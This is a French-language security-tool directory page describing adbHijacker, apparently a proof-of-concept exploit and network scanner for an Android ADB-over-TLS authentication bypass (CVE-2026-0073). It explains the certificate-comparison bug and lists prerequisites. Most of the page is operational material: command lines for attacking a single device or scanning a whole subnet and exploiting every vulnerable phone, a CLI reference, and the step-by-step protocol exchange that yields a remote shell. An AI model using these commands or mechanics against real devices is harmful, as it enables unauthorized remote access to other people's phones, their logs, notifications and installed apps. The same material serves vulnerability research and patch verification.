Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
adbHijacker — Un outil PoC pour la CVE-2026-0073 sur les appareils Android 11+ qui permet une exécution de code à distance (RCE) instantanée en zéro clic sur tout appareil non corrigé avec adb sur tcp activé. | Kitploit
Outils/GitHubGitHub/unnaim/adbhijacker
Sécurité AndroidReconnaissanceAnalyse des VulnérabilitésExploitationSécurité RéseauTests d'IntrusionSécurité MobileOutil d'Accès à Distance
GitHubunnaim/adbhijacker

adbHijacker

Un outil PoC pour la CVE-2026-0073 sur les appareils Android 11+ qui permet une exécution de code à distance (RCE) instantanée en zéro clic sur tout appareil non corrigé avec adb sur tcp activé.

8239il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

CVE-2026-0073 — Contournement de l'authentification TLS ADB sur Android

Une preuve de concept d'exploit et un scanner réseau pour CVE-2026-0073, une vulnérabilité critique d'exécution de code à distance sans interaction ni clic dans le chemin d'authentification ADB-over-TCP d'adbd sur Android.

La vulnérabilité est un bug logique dans adbd_tls_verify_cert() (daemon/auth.cpp) où EVP_PKEY_cmp() est traité comme un prédicat booléen. Lorsqu'une clé RSA stockée est comparée à un certificat client TLS non-RSA (EC P-256 ou Ed25519), l'API renvoie -1 (incompatibilité de type), ce qui est truthy en C/C++. Cela transforme une incompatibilité entre algorithmes en une correspondance réussie de clé hôte — contournant entièrement l'authentification.

Détails techniques obtenus auprès de BARGHEST.
Code PoC de base provenant de SecTestAnnaQuinn.
Corrigé dans le Bulletin de sécurité Android — mai 2026.


Impact

AttributDétail
Vecteur d'attaqueRéseau (adjacent / proximal)
InteractionAucune (zero-click)
Privilège obtenuUtilisateur shell (uid=2000), SELinux u:r:shell:s0
Primitive d'exploitationAccès shell distant via ADB
CVSSCritique (9.8)

Depuis le contexte shell, un attaquant peut inspecter les propriétés système, l'état des processus, les journaux, les notifications ; installer et supprimer des paquets ; utiliser run-as contre les applications débogables ; et préparer une exploitation ultérieure.


Fichiers

FichierObjectif
adb_tls_auth_bypass.pyPoC d'exploit mono-cible (original de SecTestAnnaQuinn, corrigé pour la somme de contrôle)
adbt_scanner.pyScanner réseau — découvre les appareils vulnérables + les exploite
requirements.txtDépendances Python

Prérequis (appareil cible)

Pour que l'exploit réussisse, l'appareil Android cible doit avoir :

  1. Options de développement activées
  2. Débogage sans fil ou ADB-over-TCP activé (le service TCP adbd de la plateforme)
  3. Au moins une clé hôte RSA précédemment appariée dans /data/misc/adb/adb_keys
  4. Accessibilité réseau au port TCP ADB (5555 par défaut)

Installation

# Créer l'environnement virtuel
uv venv

# L'activer
source .venv/bin/activate

# Installer les dépendances
uv pip install -r requirements.txt

Dépendances :

PaquetUtilisé parRequis ?
cryptographyLes deux scripts (génération de certificat EC, TLS)Oui
netifacesScanner (détection de sous-réseau)Recommandé
zeroconfScanner (découverte mDNS)Recommandé
scapyScanner (balayage ARP)Recommandé

Le scanner se dégrade gracieusement lorsque des paquets optionnels sont manquants — il émet un avertissement et revient à des méthodes alternatives (commande système ip, nmap, scan de connexion TCP).


Utilisation

Mode 0 — Exploit direct mono-cible

Attaquez directement un appareil vulnérable connu.

python3 adb_tls_auth_bypass.py 192.168.1.42              # shell interactif
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

Ou via le scanner :

python3 adbt_scanner.py --host 192.168.1.42                # shell interactif
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Mode 1 — Scanner le réseau, identifier, exploiter

Scannez le réseau local pour trouver des appareils vulnérables et exploitez toutes les cibles confirmées.

# Scan complet : mDNS → ARP → scan de ports → sonde ADB → exploit
python3 adbt_scanner.py --scan

# Exécuter une commande spécifique sur tous les appareils vulnérables
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Reconnaissance uniquement — découvrir sans exploiter
python3 adbt_scanner.py --scan --no-exploit

# Scanner plusieurs ports
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Remplacer le sous-réseau détecté (hôtes multi-hébergés, plages spécifiques)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Régler les délais d'attente pour les réseaux lents
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# Étendre la fenêtre d'écoute mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60

# Ignorer des phases de découverte spécifiques
python3 adbt_scanner.py --scan --no-mdns    # ignorer mDNS, ARP uniquement
python3 adbt_scanner.py --scan --no-arp     # ignorer ARP, mDNS uniquement

Référence CLI du scanner

--scan                    Scanner le réseau pour des appareils vulnérables + exploiter
--host HOST               Exploit direct mono-cible
--port PORT               Port ADB pour le mode --host (défaut : 5555)
--cmd COMMAND             Commande shell à exécuter
-v, --verbose             Journalisation détaillée

--mdns-timeout SECONDS    Durée d'écoute mDNS (défaut : 30)
--ports PORTS             Ports séparés par des virgules en mode --scan (défaut : 5555)
--subnet CIDR             Remplacer le sous-réseau détecté (ex. 192.168.2.0/24)
--connect-timeout SECONDS Délai d'attente de connexion TCP (défaut : 2.0)
--probe-timeout SECONDS   Délai d'attente de la sonde ADB (défaut : 3.0)
--arp-timeout SECONDS     Délai d'attente du balayage ARP (défaut : 3)
--no-mdns                 Ignorer la découverte mDNS
--no-arp                  Ignorer le balayage ARP + le scan de ports
--no-exploit              S'arrêter après la phase de sonde du protocole ADB

Pipeline de découverte

┌─────────────────────────────────────────────────────────────┐
│ 1. Détection de sous-réseau — netifaces → ip route → astuce socket │
│ 2. Écouteur mDNS         — _adb-tls-connect._tcp (30 s par défaut) │
│ 3. Balayage ARP          — scapy.arping → nmap -sn             │
│ 4. Scan de ports         — connexion TCP à chaque hôte:port    │
│ 5. Sonde du protocole ADB — envoyer CNXN, classer la réponse   │
│                                                             │
│    STLS   → VULNÉRABLE (passer à l'exploit)                  │
│    AUTH   → authentification ADB héritée (pas cette CVE)     │
│    CNXN   → ouvert, sans authentification (déjà accessible)  │
│    NO_ADB → pas un service ADB                               │
│                                                             │
│ 6. Exploitation          — mise à niveau TLS → contournement d'auth → shell │
└─────────────────────────────────────────────────────────────┘

mDNS est la méthode d'identification la plus précise : lorsque le débogage sans fil est apparié, Android diffuse _adb-tls-connect._tcp explicitement. Le balayage ARP + le scan de ports servent de solution de repli fourre-tout.


Mécanique de l'exploit

Phase 1 — ADB en clair
  Client → CNXN(payload="host::features=...")
  Appareil → STLS  (mise à niveau TLS requise)

Phase 2 — TLS 1.3 avec certificat client inter-algorithmes
  Client → réponse STLS
  Client → poignée de main TLS 1.3 + certificat client EC P-256
  L'appareil appelle adbd_tls_verify_cert() :
    known_evp = clé RSA depuis /data/misc/adb/adb_keys
    evp_pkey  = clé EC P-256 depuis le certificat client
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (incompatibilité de type)
    if (-1) → verified = true   ← BUG : -1 est truthy

Phase 3 — Couche de service ADB post-TLS
  Le client vide le CNXN de l'appareil (transport déjà en ligne)
  Aucun CNXN hôte envoyé (déclencherait l'expulsion handle_new_connection)
  Client → OPEN(local_id, window=32MB, payload="shell:\x00")
  Appareil → OKAY  → flux shell établi

Modèle de menace

Télécharger l’outil